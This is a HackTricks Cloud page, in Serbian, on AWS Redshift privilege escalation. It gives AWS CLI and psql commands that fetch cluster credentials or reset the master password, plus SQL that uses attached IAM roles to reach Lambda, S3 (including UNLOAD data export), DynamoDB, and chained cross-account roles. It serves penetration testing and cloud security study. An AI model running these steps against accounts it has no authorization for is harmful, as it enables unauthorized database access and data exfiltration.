AWS - Redshift Privesc
Reading time: 4 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Redshift
Za više informacija o RDS proverite:
redshift:DescribeClusters
, redshift:GetClusterCredentials
Sa ovim dozvolama možete dobiti informacije o svim klasterima (uključujući ime i korisničko ime klastera) i dobiti kredencijale za pristup:
# Get creds
aws redshift get-cluster-credentials --db-user postgres --cluster-identifier redshift-cluster-1
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM:<username>" -d template1 -p 5439
Potencijalni uticaj: Pronaći osetljive informacije unutar baza podataka.
redshift:DescribeClusters
, redshift:GetClusterCredentialsWithIAM
Sa ovim dozvolama možete dobiti informacije o svim klasterima i dobiti kredencijale za pristup njima.
Imajte na umu da će postgres korisnik imati dozvole koje ima IAM identitet korišćen za dobijanje kredencijala.
# Get creds
aws redshift get-cluster-credentials-with-iam --cluster-identifier redshift-cluster-1
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAMR:AWSReservedSSO_AdministratorAccess_4601154638985c45" -d template1 -p 5439
Potencijalni uticaj: Pronaći osetljive informacije unutar baza podataka.
redshift:DescribeClusters
, redshift:ModifyCluster?
Moguće je modifikovati glavnu lozinku internog postgres (redshit) korisnika putem aws cli (mislim da su to dozvole koje su vam potrebne, ali ih još nisam testirao):
aws redshift modify-cluster –cluster-identifier <identifier-for-the cluster> –master-user-password ‘master-password’;
Potencijalni Uticaj: Pronađite osetljive informacije unutar baza podataka.
Pristup Eksternim Uslugama
warning
Da biste pristupili svim sledećim resursima, potrebno je da navedete ulogu koju ćete koristiti. Redshift klaster može imati dodeljenu listu AWS uloga koje možete koristiti ako znate ARN ili možete jednostavno postaviti "default" da biste koristili podrazumevanu.
Pored toga, kao što je objašnjeno ovde, Redshift takođe omogućava kombinovanje uloga (pod uslovom da prva može da preuzme drugu) za dalji pristup, ali samo razdvajanjem njih sa zarezom:
iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';
Lambdas
Kao što je objašnjeno u https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html, moguće je pozvati lambda funkciju iz redshifta sa nečim poput:
CREATE EXTERNAL FUNCTION exfunc_sum2(INT,INT)
RETURNS INT
STABLE
LAMBDA 'lambda_function'
IAM_ROLE default;
S3
Kao što je objašnjeno u https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html, moguće je čitati i pisati u S3 kante:
# Read
copy table from 's3://<your-bucket-name>/load/key_prefix'
credentials 'aws_iam_role=arn:aws:iam::<aws-account-id>:role/<role-name>'
region '<region>'
options;
# Write
unload ('select * from venue')
to 's3://mybucket/tickit/unload/venue_'
iam_role default;
Dynamo
Kao što je objašnjeno u https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html, moguće je dobiti podatke iz dynamodb:
copy favoritemovies
from 'dynamodb://ProductCatalog'
iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole';
warning
Amazon DynamoDB tabela koja pruža podatke mora biti kreirana u istoj AWS Region kao vaš klaster osim ako ne koristite opciju REGION da odredite AWS Region u kojem se nalazi Amazon DynamoDB tabela.
EMR
Proverite https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html
References
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.